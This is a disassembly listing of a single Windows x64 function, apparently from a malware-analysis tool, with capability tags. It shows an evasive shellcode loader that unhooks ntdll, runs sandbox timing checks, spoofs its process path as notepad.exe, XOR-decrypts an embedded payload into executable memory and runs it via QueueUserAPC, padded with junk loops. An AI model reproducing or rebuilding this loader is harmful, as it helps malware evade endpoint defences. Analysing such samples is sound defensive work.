Function at 0x1400014a4
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Link many functions at runtime
Read file via mapping

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x858
lea rbp, [rsp + 0x80]
movups xmmword [rbp + 0x7c0], xmm6
mov dword [rbp + 0x800], ecx
mov qword [rbp + 0x808], rdx
call fcn.140002950
lea rax, str.ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x748], rax
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x740], rax
lea rax, str.ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x738], rax
lea rax, str.psapi.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov rcx, rax
lea rax, str.GetModuleInformation
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x7b8], rax
cmp qword [rbp + 0x7b8], 0
jne 0x140001588
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov rcx, rax
lea rax, str.GetModuleInformation
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x7b8], rax
cmp qword [rbp + 0x7b8], 0
je 0x140001c6b
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rdx, [rbp + 0x590]
mov rax, qword [rbp + 0x738]
mov r10, qword [rbp + 0x7b8]
mov r9d, 0x18
mov r8, rdx
mov rdx, rax
call r10
mov rax, qword [rbp + 0x590]
mov qword [rbp + 0x730], rax
mov dword [rbp + 0x7b4], 0xffffffff
mov ecx, 0x1128
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x728], rax
add dword [rbp + 0x7b4], 1
call sub.msvcrt.dll_rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x14000b630]
divsd xmm0, xmm1
addsd xmm0, xmm0
mov eax, dword [rbp + 0x7b4]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x728]
add rax, rdx
movsd xmm1, qword [0x14000b638]
subsd xmm0, xmm1
movsd qword [rax], xmm0
mov eax, dword [rbp + 0x7b4]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x728]
add rax, rdx
movsd xmm0, qword [rax]
mov eax, dword [rbp + 0x7b4]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x728]
add rax, rdx
movq xmm1, qword [0x14000b640]
andpd xmm0, xmm1
movsd qword [rax], xmm0
cmp dword [rbp + 0x7b4], 0x223
jle 0x1400015ef
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 3
mov r9d, 0
mov r8d, 1
mov edx, 0x80000000
lea rax, str.c:windows_system32_ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileA]
call rax
mov qword [rbp + 0x720], rax
mov rax, qword [rbp + 0x720]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0x1000002
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileMappingA]
call rax
mov qword [rbp + 0x718], rax
mov dword [rbp + 0x7b0], 0xffffffff
mov ecx, 0x1ae8
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x710], rax
add dword [rbp + 0x7b0], 1
call sub.msvcrt.dll_rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x14000b630]
divsd xmm0, xmm1
addsd xmm0, xmm0
mov eax, dword [rbp + 0x7b0]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x710]
add rax, rdx
movsd xmm1, qword [0x14000b638]
subsd xmm0, xmm1
movsd qword [rax], xmm0
mov eax, dword [rbp + 0x7b0]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x710]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x7b0]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x710]
lea rbx, [rcx + rdx]
movq xmm0, rax
call sub.msvcrt.dll_asin
movq rax, xmm0
mov qword [rbx], rax
cmp dword [rbp + 0x7b0], 0x35b
jle 0x140001730
mov rax, qword [rbp + 0x718]
mov qword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov edx, 4
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_MapViewOfFile]
call rax
mov qword [rbp + 0x708], rax
mov rax, qword [rbp + 0x730]
mov qword [rbp + 0x700], rax
mov dword [rbp + 0x6fc], 1
mov ecx, 0x304
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x6f0], rax
mov qword [rbp + 0x7a8], 2
jmp 0x14000186a
mov rax, qword [rbp + 0x7a8]
lea rdx, [rax*4]
mov rax, qword [rbp + 0x6f0]
add rax, rdx
mov dword [rax], 1
add qword [rbp + 0x7a8], 1
cmp qword [rbp + 0x7a8], 0xc0
jbe 0x140001843
mov qword [rbp + 0x7a8], 2
jmp 0x140001901
mov rax, qword [rbp + 0x7a8]
lea rdx, [rax*4]
mov rax, qword [rbp + 0x6f0]
add rax, rdx
mov eax, dword [rax]
test eax, eax
je 0x1400018f9
mov rax, qword [rbp + 0x7a8]
mov qword [rbp + 0x7a0], rax
jmp 0x1400018e2
mov rax, qword [rbp + 0x7a8]
imul rax, qword [rbp + 0x7a0]
lea rdx, [rax*4]
mov rax, qword [rbp + 0x6f0]
add rax, rdx
mov dword [rax], 0
add qword [rbp + 0x7a0], 1
mov rax, qword [rbp + 0x7a8]
imul rax, qword [rbp + 0x7a0]
cmp rax, 0xc0
jbe 0x1400018b3
add qword [rbp + 0x7a8], 1
cmp qword [rbp + 0x7a8], 0xc0
jbe 0x140001884
mov rax, qword [rbp + 0x6f0]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x700]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x730]
add rax, rdx
mov qword [rbp + 0x6e8], rax
mov ecx, 0x650
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x6e0], rax
mov dword [rbp + 0x79c], 0
jmp 0x1400019e6
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x3e8
sub eax, ecx
mov edx, eax
pxor xmm6, xmm6
cvtsi2ss xmm6, edx
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x51eb851f
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x64
sub eax, ecx
mov edx, eax
pxor xmm1, xmm1
cvtsi2ss xmm1, edx
mov eax, dword [rbp + 0x79c]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x6e0]
add rax, rdx
divss xmm6, xmm1
movups xmm0, xmm6
movss dword [rax], xmm0
add dword [rbp + 0x79c], 1
cmp dword [rbp + 0x79c], 0x193
jle 0x14000195f
mov dword [rbp + 0x79c], 0
jmp 0x140001aea
cmp dword [rbp + 0x79c], 0
je 0x140001a4f
mov eax, dword [rbp + 0x79c]
cdqe
shl rax, 2
lea rdx, [rax - 4]
mov rax, qword [rbp + 0x6e0]
add rax, rdx
movss xmm1, dword [rax]
mov eax, dword [rbp + 0x79c]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x6e0]
add rax, rdx
movss xmm0, dword [rax]
comiss xmm0, xmm1
jb 0x140001a5b
add dword [rbp + 0x79c], 1
jmp 0x140001aea
mov eax, dword [rbp + 0x79c]
cdqe
shl rax, 2
lea rdx, [rax - 4]
mov rax, qword [rbp + 0x6e0]
add rax, rdx
movss xmm0, dword [rax]
movss dword [rbp + 0x6d4], xmm0
mov eax, dword [rbp + 0x79c]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x6e0]
add rdx, rax
mov eax, dword [rbp + 0x79c]
cdqe
shl rax, 2
lea rcx, [rax - 4]
mov rax, qword [rbp + 0x6e0]
add rax, rcx
movss xmm0, dword [rdx]
movss dword [rax], xmm0
mov eax, dword [rbp + 0x79c]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x6e0]
add rax, rdx
movss xmm0, dword [rbp + 0x6d4]
movss dword [rax], xmm0
sub dword [rbp + 0x79c], 1
cmp dword [rbp + 0x79c], 0x193
jle 0x140001a05
mov rax, qword [rbp + 0x6e0]
mov rcx, rax
call sub.msvcrt.dll_free
mov word [rbp + 0x79a], 0
jmp 0x140001c53
mov rax, qword [rbp + 0x6e8]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp + 0x6e8]
lea rcx, [rdx + rax]
movzx edx, word [rbp + 0x79a]
mov rax, rdx
shl rax, 2
add rax, rdx
shl rax, 3
add rax, rcx
add rax, 0x18
mov qword [rbp + 0x6d8], rax
mov rax, qword [rbp + 0x6d8]
lea rdx, str..text
mov rcx, rax
call sub.msvcrt.dll_strcmp
test eax, eax
jne 0x140001c42
mov dword [rbp + 0x558], 0
mov rax, qword [rbp + 0x6d8]
mov eax, dword [rax + 8]
mov edx, eax
mov rax, qword [rbp + 0x6d8]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x730]
add rax, rcx
mov rcx, rax
lea rax, [rbp + 0x558]
mov r9, rax
mov r8d, 0x40
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x6d8]
mov eax, dword [rax + 8]
mov r8d, eax
mov rax, qword [rbp + 0x6d8]
mov eax, dword [rax + 0xc]
mov edx, eax
mov rax, qword [rbp + 0x708]
add rax, rdx
mov rdx, rax
mov rax, qword [rbp + 0x6d8]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x730]
add rax, rcx
mov rcx, rax
call sub.msvcrt.dll_memcpy
mov edx, dword [rbp + 0x558]
mov rax, qword [rbp + 0x6d8]
mov eax, dword [rax + 8]
mov r10d, eax
mov rax, qword [rbp + 0x6d8]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x730]
add rax, rcx
mov rcx, rax
lea rax, [rbp + 0x558]
mov r9, rax
mov r8d, edx
mov rdx, r10
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
movzx eax, word [rbp + 0x79a]
add eax, 1
mov word [rbp + 0x79a], ax
mov rax, qword [rbp + 0x6e8]
movzx eax, word [rax + 6]
cmp word [rbp + 0x79a], ax
jb 0x140001b17
mov dword [rbp + 0x794], 0x82
mov dword [rbp + 0x790], 0x96
mov dword [rbp + 0x78c], 0x2a8
mov dword [rbp + 0x788], 0x168
jmp 0x140001d57
mov eax, dword [rbp + 0x78c]
cmp eax, dword [rbp + 0x788]
jle 0x140001cf4
mov eax, dword [rbp + 0x78c]
cmp eax, dword [rbp + 0x794]
jle 0x140001cd4
mov eax, dword [rbp + 0x78c]
cmp eax, dword [rbp + 0x790]
jle 0x140001ccb
sub dword [rbp + 0x78c], 1
jmp 0x140001d40
sub dword [rbp + 0x790], 1
jmp 0x140001d40
mov eax, dword [rbp + 0x794]
cmp eax, dword [rbp + 0x790]
jle 0x140001ceb
sub dword [rbp + 0x794], 1
jmp 0x140001d40
sub dword [rbp + 0x790], 1
jmp 0x140001d40
mov eax, dword [rbp + 0x788]
cmp eax, dword [rbp + 0x794]
jle 0x140001d22
mov eax, dword [rbp + 0x788]
cmp eax, dword [rbp + 0x790]
jle 0x140001d19
sub dword [rbp + 0x788], 1
jmp 0x140001d40
sub dword [rbp + 0x790], 1
jmp 0x140001d40
mov eax, dword [rbp + 0x794]
cmp eax, dword [rbp + 0x790]
jle 0x140001d39
sub dword [rbp + 0x794], 1
jmp 0x140001d40
sub dword [rbp + 0x790], 1
mov eax, dword [rbp + 0x78c]
mov edx, eax
lea rax, [0x14000b05a]
mov rcx, rax
call fcn.140001450
cmp dword [rbp + 0x78c], 0
jg 0x140001c98
mov dword [rbp + 0x784], 0xffffffff
add dword [rbp + 0x784], 1
call sub.msvcrt.dll_rand
imul eax, eax, 0x8d
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x14000b630]
divsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call fcn.140003c80
movq rax, xmm0
mov qword [rbp + 0x6c8], rax
cmp dword [rbp + 0x784], 0x250
jle 0x140001d6e
mov dword [rbp + 0x780], 0xe6
mov dword [rbp + 0x77c], 0x1a4
jmp 0x140001def
mov eax, dword [rbp + 0x780]
cmp eax, dword [rbp + 0x77c]
jle 0x140001de8
sub dword [rbp + 0x780], 1
jmp 0x140001def
sub dword [rbp + 0x77c], 1
cmp dword [rbp + 0x780], 0
jg 0x140001dd1
mov dword [rbp + 0x55c], 0
mov rax, qword [rbp + 0x748]
lea rdx, str.NtQueryInformationProcess
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6c0], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rdx, [rbp + 0x560]
lea rax, [rbp + 0x55c]
mov qword [rsp + 0x20], rax
mov rax, qword [rbp + 0x6c0]
mov r9d, 0x30
mov r8, rdx
mov edx, 0
call rax
mov rax, qword [rbp + 0x568]
add rax, 0x3c
mov qword [rbp + 0x6b8], rax
mov rax, qword [rbp + 0x6b8]
lea rdx, str.C:_windows_system32_notepad.exe
mov qword [rax + 0x78], rdx
mov rax, qword [rbp + 0x6b8]
lea rdx, str.C:_windows_system32_notepad.exe
mov qword [rax + 0x68], rdx
mov qword [rbp + 0x6b0], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.VirtualAlloc
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6a8], rax
mov rax, qword [rbp + 0x6a8]
mov r9d, 0x40
mov r8d, 0x3000
mov edx, 0x43dfa80
mov ecx, 0
call rax
mov qword [rbp + 0x6b0], rax
cmp qword [rbp + 0x6b0], 0
je 0x140002880
mov rax, qword [rbp + 0x6b0]
mov edx, 0x43dfa80
mov rcx, rax
call fcn.140009460
mov rax, qword [rbp + 0x6b0]
mov r8d, 0x8000
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualFree]
call rax
lea rax, str.dnnauuyglduflm.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov qword [rbp + 0x6a0], rax
cmp qword [rbp + 0x6a0], 0
jne 0x140002880
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x698], rax
mov rax, qword [rbp + 0x698]
call rax
mov dword [rbp + 0x694], eax
mov ecx, 0x21f
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
mov rax, qword [rbp + 0x698]
call rax
mov dword [rbp + 0x690], eax
mov eax, dword [rbp + 0x690]
sub eax, dword [rbp + 0x694]
cmp eax, 0x1ed
jbe 0x140002880
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x688], rax
mov rax, qword [rbp + 0x688]
call rax
mov dword [rbp + 0x684], eax
mov ecx, 0x277
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
mov rax, qword [rbp + 0x688]
call rax
mov dword [rbp + 0x680], eax
mov eax, dword [rbp + 0x680]
sub eax, dword [rbp + 0x684]
cmp eax, 0x245
jbe 0x140002880
mov dword [rbp + 0x67c], 0x375
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.SleepEx
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x670], rax
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x668], rax
mov rax, qword [rbp + 0x668]
call rax
mov dword [rbp + 0x664], eax
mov eax, dword [rbp + 0x67c]
mov r8, qword [rbp + 0x670]
mov edx, 0
mov ecx, eax
call r8
mov rax, qword [rbp + 0x668]
call rax
mov dword [rbp + 0x660], eax
mov eax, dword [rbp + 0x660]
sub eax, dword [rbp + 0x664]
cmp eax, 0x343
jbe 0x140002880
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.FlsAlloc
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x658], rax
mov rax, qword [rbp + 0x658]
mov ecx, 0
call rax
mov dword [rbp + 0x654], eax
cmp dword [rbp + 0x654], 0xffffffff
je 0x140002880
mov r8d, 4
mov edx, 0
mov ecx, 0x1fffff
mov rax, qword [sym.imp.KERNEL32.dll_OpenProcess]
call rax
mov qword [rbp + 0x648], rax
cmp qword [rbp + 0x648], 0
jne 0x140002880
mov dword [rbp + 0x644], 0x29d
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x638], rax
mov rax, qword [rbp + 0x638]
call rax
mov dword [rbp + 0x634], eax
mov eax, dword [rbp + 0x644]
mov edx, 0
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_SleepEx]
call rax
mov rax, qword [rbp + 0x638]
call rax
mov dword [rbp + 0x630], eax
mov eax, dword [rbp + 0x630]
sub eax, dword [rbp + 0x634]
cmp eax, 0x26b
jbe 0x140002880
mov r9d, 0
mov r8d, 0
mov edx, 1
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateEventA]
call rax
mov qword [rbp + 0x628], rax
cmp qword [rbp + 0x628], 0
je 0x140002880
mov rax, qword [rbp + 0x628]
mov edx, 0x4a4
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call rax
mov dword [rbp + 0x624], eax
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov qword [rbp + 0x618], rax
cmp qword [rbp + 0x618], 0
je 0x1400022a3
mov rax, qword [rbp + 0x618]
lea rdx, str.FlsAlloc
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x610], rax
mov rax, qword [rbp + 0x610]
mov ecx, 0
call rax
mov dword [rbp + 0x778], eax
cmp dword [rbp + 0x778], 0xffffffff
je 0x140002880
lea rax, [rbp + 0x50]
lea rdx, [0x14000b128]
mov ecx, 0xa0
mov rdi, rax
mov rsi, rdx
rep movsq qword [rdi], qword [rsi]
mov rdx, rsi
mov rax, rdi
movzx ecx, word [rdx]
mov word [rax], cx
mov rax, qword [rbp + 0x740]
lea rdx, str.HeapCreate
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x608], rax
mov rax, qword [rbp + 0x740]
lea rdx, str.HeapAlloc
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x600], rax
mov rax, qword [rbp + 0x608]
mov r8d, 0
mov edx, 0x501
mov ecx, 0x40000
call rax
mov qword [rbp + 0x5f8], rax
mov rax, qword [rbp + 0x5f8]
mov r9, qword [rbp + 0x600]
mov r8d, 0x501
mov edx, 8
mov rcx, rax
call r9
mov qword [rbp + 0x5f0], rax
mov rax, qword [rbp + 0x748]
lea rdx, str.RtlMoveMemory
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x5e8], rax
lea rdx, [rbp + 0x50]
mov rax, qword [rbp + 0x5f0]
mov r9, qword [rbp + 0x5e8]
mov r8d, 0x501
mov rcx, rax
call r9
mov dword [rbp + 0x774], 0
mov dword [rbp + 0x770], 0
mov dword [rbp + 0x76c], 0
movabs rax, 0xceac1dd12d4e8e3c
movabs rdx, 0xce0c376fcf36ad7e
mov qword [rbp - 0x10], rax
mov qword [rbp - 8], rdx
movabs rax, 0x1c83b57deddabac8
movabs rdx, 0x586d72709f80c64e
mov qword [rbp], rax
mov qword [rbp + 8], rdx
movabs rax, 0xa62dc138c4586d
mov qword [rbp + 0xe], rax
movabs rax, 0x2f67ece74a83936b
movabs rdx, 0x2883f45e1a9d08fc
mov qword [rbp + 0x20], rax
mov qword [rbp + 0x28], rdx
movabs rax, 0xa6aaa8d8b41e0753
movabs rdx, 0xf83ba2acdf146218
mov qword [rbp + 0x30], rax
mov qword [rbp + 0x38], rdx
movabs rax, 0x8823c72faacdf8
mov qword [rbp + 0x3f], rax
mov dword [rbp + 0x768], 0
jmp 0x140002496
call sub.msvcrt.dll_rand
mov edx, eax
mov eax, edx
shl eax, 3
add eax, edx
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x14000b630]
divsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call fcn.140003a70
movq rax, xmm0
mov qword [rbp + 0x5a8], rax
add dword [rbp + 0x768], 1
cmp dword [rbp + 0x768], 0x308
jle 0x140002452
mov dword [rbp + 0x764], 0xffffffff
mov ecx, 0x1078
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x5e0], rax
mov ecx, 0x1078
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x5d8], rax
add dword [rbp + 0x764], 1
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x3e8
sub eax, ecx
mov edx, eax
pxor xmm6, xmm6
cvtsi2sd xmm6, edx
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0xffffffffea0ea0eb
shr rdx, 0x20
add edx, eax
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x46
sub eax, ecx
mov edx, eax
pxor xmm1, xmm1
cvtsi2sd xmm1, edx
mov eax, dword [rbp + 0x764]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x5e0]
add rax, rdx
divsd xmm6, xmm1
movupd xmm0, xmm6
movsd qword [rax], xmm0
mov eax, dword [rbp + 0x764]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x5e0]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x764]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x5d8]
lea rbx, [rcx + rdx]
movq xmm0, rax
call fcn.140003990
movq rax, xmm0
mov qword [rbx], rax
cmp dword [rbp + 0x764], 0x20d
jle 0x1400024ce
jmp 0x140002628
cmp dword [rbp + 0x770], 0x25
jne 0x1400025f2
mov eax, dword [rbp + 0x774]
cdqe
movzx edx, byte [rbp + rax - 0x10]
mov eax, dword [rbp + 0x770]
cdqe
movzx eax, byte [rbp + rax + 0x20]
xor edx, eax
mov eax, dword [rbp + 0x774]
cdqe
mov byte [rbp + rax - 0x40], dl
mov dword [rbp + 0x770], 0
jmp 0x140002621
mov eax, dword [rbp + 0x774]
cdqe
movzx edx, byte [rbp + rax - 0x10]
mov eax, dword [rbp + 0x770]
cdqe
movzx eax, byte [rbp + rax + 0x20]
xor edx, eax
mov eax, dword [rbp + 0x774]
cdqe
mov byte [rbp + rax - 0x40], dl
add dword [rbp + 0x770], 1
add dword [rbp + 0x774], 1
mov eax, dword [rbp + 0x774]
cmp eax, 0x24
jbe 0x1400025b5
mov dword [rbp + 0x774], 0
jmp 0x1400026e1
cmp dword [rbp + 0x76c], 0x24
jne 0x140002695
mov eax, dword [rbp + 0x774]
movsxd rdx, eax
mov rax, qword [rbp + 0x5f0]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x76c]
cdqe
movzx ecx, byte [rbp + rax - 0x40]
mov eax, dword [rbp + 0x774]
movsxd rdx, eax
mov rax, qword [rbp + 0x5f0]
add rax, rdx
mov edx, r8d
xor edx, ecx
mov byte [rax], dl
mov dword [rbp + 0x76c], 0
jmp 0x1400026da
mov eax, dword [rbp + 0x774]
movsxd rdx, eax
mov rax, qword [rbp + 0x5f0]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x76c]
cdqe
movzx ecx, byte [rbp + rax - 0x40]
mov eax, dword [rbp + 0x774]
movsxd rdx, eax
mov rax, qword [rbp + 0x5f0]
add rax, rdx
mov edx, r8d
xor edx, ecx
mov byte [rax], dl
add dword [rbp + 0x76c], 1
add dword [rbp + 0x774], 1
cmp dword [rbp + 0x774], 0x500
jle 0x140002642
mov rax, qword [rbp + 0x5f0]
mov qword [rbp + 0x5d0], rax
mov rax, qword [rbp + 0x740]
lea rdx, str.QueueUserAPC
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x5c8], rax
mov rax, qword [rbp + 0x740]
lea rdx, str.SleepEx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x5c0], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentThread]
call rax
mov rdx, rax
mov rax, qword [rbp + 0x5d0]
mov r9, qword [rbp + 0x5c8]
mov r8d, 0
mov rcx, rax
call r9
mov rax, qword [rbp + 0x5c0]
mov edx, 1
mov ecx, 0xffffffff
call rax
mov dword [rbp + 0x5bc], 1
mov ecx, 0xbac
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x5b0], rax
mov qword [rbp + 0x758], 2
jmp 0x1400027c9
mov rax, qword [rbp + 0x758]
lea rdx, [rax*4]
mov rax, qword [rbp + 0x5b0]
add rax, rdx
mov dword [rax], 1
add qword [rbp + 0x758], 1
cmp qword [rbp + 0x758], 0x2ea
jbe 0x1400027a2
mov qword [rbp + 0x758], 2
jmp 0x140002860
mov rax, qword [rbp + 0x758]
lea rdx, [rax*4]
mov rax, qword [rbp + 0x5b0]
add rax, rdx
mov eax, dword [rax]
test eax, eax
je 0x140002858
mov rax, qword [rbp + 0x758]
mov qword [rbp + 0x750], rax
jmp 0x140002841
mov rax, qword [rbp + 0x758]
imul rax, qword [rbp + 0x750]
lea rdx, [rax*4]
mov rax, qword [rbp + 0x5b0]
add rax, rdx
mov dword [rax], 0
add qword [rbp + 0x750], 1
mov rax, qword [rbp + 0x758]
imul rax, qword [rbp + 0x750]
cmp rax, 0x2ea
jbe 0x140002812
add qword [rbp + 0x758], 1
cmp qword [rbp + 0x758], 0x2ea
jbe 0x1400027e3
mov rax, qword [rbp + 0x5b0]
mov rcx, rax
call sub.msvcrt.dll_free
mov eax, 0
movups xmm6, xmmword [rbp + 0x7c0]
add rsp, 0x858
pop rbx
pop rsi
pop rdi
pop rbp
ret